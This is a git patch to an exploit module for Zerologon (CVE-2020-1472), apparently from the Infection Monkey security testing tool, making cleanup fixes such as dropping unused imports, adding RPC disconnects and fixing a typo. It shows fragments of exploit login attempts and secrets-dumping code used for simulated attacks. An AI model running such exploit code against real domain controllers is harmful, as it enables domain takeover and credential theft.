From 0866aee2cf75c710dd758a284c0c0b45f57d9fdc Mon Sep 17 00:00:00 2001
From: Shreya <shreya.malviya@gmail.com>
Date: Fri, 12 Feb 2021 13:58:19 +0530
Subject: [PATCH] Testing changes

---
 monkey/infection_monkey/exploit/zerologon.py   | 18 ++++++++++++------
 .../exploit/zerologon_utils/dump_secrets.py    |  2 --
 2 files changed, 12 insertions(+), 8 deletions(-)

diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py
index 8ee3117d7..e8cf0ab6b 100644
--- a/monkey/infection_monkey/exploit/zerologon.py
+++ b/monkey/infection_monkey/exploit/zerologon.py
@@ -3,15 +3,13 @@ Zerologon, CVE-2020-1472
 Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/.
 """
 
-import io
 import logging
 import os
-import sys
 from binascii import unhexlify
 from typing import List, Optional
 
 import impacket
-from impacket.dcerpc.v5 import epm, nrpc, transport
+from impacket.dcerpc.v5 import nrpc
 from impacket.dcerpc.v5.dtypes import NULL
 
 from common.utils.exploit_enum import ExploitType
@@ -57,6 +55,8 @@ class ZerologonExploiter(HostExploiter):
             LOG.debug("Attempting exploit.")
             _exploited = self._send_exploit_rpc_login_requests(rpc_con)
 
+            rpc_con.disconnect()
+
         else:
             LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
             _exploited = False
@@ -73,12 +73,13 @@ class ZerologonExploiter(HostExploiter):
         return _exploited
 
     def is_exploitable(self) -> bool:
-        if self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']:
-            return True
+        if self.zerologon_finger._SCANNED_SERVICE in self.host.services:
+            return self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']
         return self.zerologon_finger.get_host_fingerprint(self.host)
 
     def _send_exploit_rpc_login_requests(self, rpc_con) -> Optional[bool]:
         # Max attempts = 2000. Expected average number of attempts needed: 256.
+        result_exploit_attempt = None
         for _ in range(0, self.MAX_ATTEMPTS):
             try:
                 result_exploit_attempt = self.attempt_exploit(rpc_con)
@@ -154,6 +155,10 @@ class ZerologonExploiter(HostExploiter):
         except Exception as e:
             LOG.error(e)
 
+        finally:
+            if rpc_con:
+                rpc_con.disconnect()
+
     def get_admin_pwd_hashes(self) -> str:
         try:
             options = OptionsForSecretsdump(
@@ -295,8 +300,9 @@ class ZerologonExploiter(HostExploiter):
             except Exception as e:
                 LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
 
-    def _send_restoration_rpc_login_requests(Self, rpc_con, original_pwd_nthash) -> Optional[bool]:
+    def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> Optional[bool]:
         # Max attempts = 2000. Expected average number of attempts needed: 256.
+        result_restoration_attempt = None
         for _ in range(0, self.MAX_ATTEMPTS):
             try:
                 result_restoration_attempt = self.attempt_restoration(rpc_con, original_pwd_nthash)
diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py
index 2e73ff9de..0aa705125 100644
--- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py
+++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py
@@ -1,7 +1,5 @@
-import io
 import logging
 import os
-import sys
 import traceback
 
 from impacket.examples.secretsdump import (LocalOperations, LSASecrets,